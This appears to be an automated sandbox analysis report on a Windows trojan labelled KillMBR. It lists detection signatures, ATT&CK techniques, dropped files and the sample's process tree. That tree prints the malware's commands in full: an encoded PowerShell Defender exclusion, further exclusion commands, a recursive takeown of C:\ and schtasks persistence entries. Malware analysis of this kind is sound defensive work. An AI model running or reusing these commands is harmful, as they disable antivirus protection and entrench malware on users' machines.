Analysis
- max time kernel
1s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/09/2026, 02:07
Errors
General
- Target c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe
- Size 4.3MB
- Sample260923-ckbbfacc43
- SHA256 c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07
Malware Config
Signatures
- Family: KillMBR
KillMBR is a trojan that attempts to overwrite the Master Boot Record.
- Detects KillMBR 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe"C:\Users\Admin\AppData\Local\Temp\c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAdQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAYgBxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGwAcABmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAegBuACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\exploer.exe"C:\Windows\exploer.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金.bat'3⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金.bat" "3⤵
- Executes a command shell one-liner
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C:\Windows\system32\fsutil.exefsutil dirty query C:4⤵
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C:\Windows\system32\takeown.exetakeown /f C:\ /r /d y4⤵
- Modifies file permissions
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe'3⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "金HFYF金j33h金" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HFYF金j33h金.exe"3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe'3⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "金HF金HFJF金" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金HF金HFJF金.exe"3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\金金73h金ff32.bat'3⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\rar.exe"C:\Windows\rar.exe"2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe'3⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "System" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_v52huzn4.lmn.ps1
System.exe
金.bat
金HFYF金j33h金.exe
金HF金HFJF金.exe
exploer.exe
rar.exe
memory/576-96-0x000001888CFA0000-0x000001888D944000-memory.dmp
memory/3480-36-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-41-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-28-0x00000264D7F6F000-0x00000264D7F70000-memory.dmp
memory/3480-29-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-30-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-34-0x00000264F0B10000-0x00000264F0BC2000-memory.dmp
memory/3480-33-0x00000264D8960000-0x00000264D897E000-memory.dmp
memory/3480-35-0x00000264F0A90000-0x00000264F0A9A000-memory.dmp
memory/3480-111-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-37-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-38-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-39-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-40-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/3480-14-0x00000264D88D0000-0x00000264D88F2000-memory.dmp
memory/3480-47-0x00000264D7DE0000-0x00000264D8784000-memory.dmp
memory/4268-27-0x0000000000250000-0x000000000029A000-memory.dmp
memory/4408-65-0x0000018C8B370000-0x0000018C8BD14000-memory.dmp
memory/4488-50-0x0000024A4AF10000-0x0000024A4B8B4000-memory.dmp
memory/4756-85-0x000001E265530000-0x000001E265ED4000-memory.dmp
memory/6004-26-0x00007FFF35B30000-0x00007FFF364D4000-memory.dmp
memory/6004-21-0x00007FFF35B30000-0x00007FFF364D4000-memory.dmp
memory/6004-15-0x00007FFF35B30000-0x00007FFF364D4000-memory.dmp
memory/6004-8-0x00007FFF35B30000-0x00007FFF364D4000-memory.dmp
memory/6004-2-0x00007FFF35B30000-0x00007FFF364D4000-memory.dmp
memory/6004-1-0x00007FFF35CBF000-0x00007FFF35CC0000-memory.dmp
memory/6004-0-0x0000000000CA0000-0x00000000010F8000-memory.dmp
memory/6068-22-0x0000000000F70000-0x0000000001378000-memory.dmp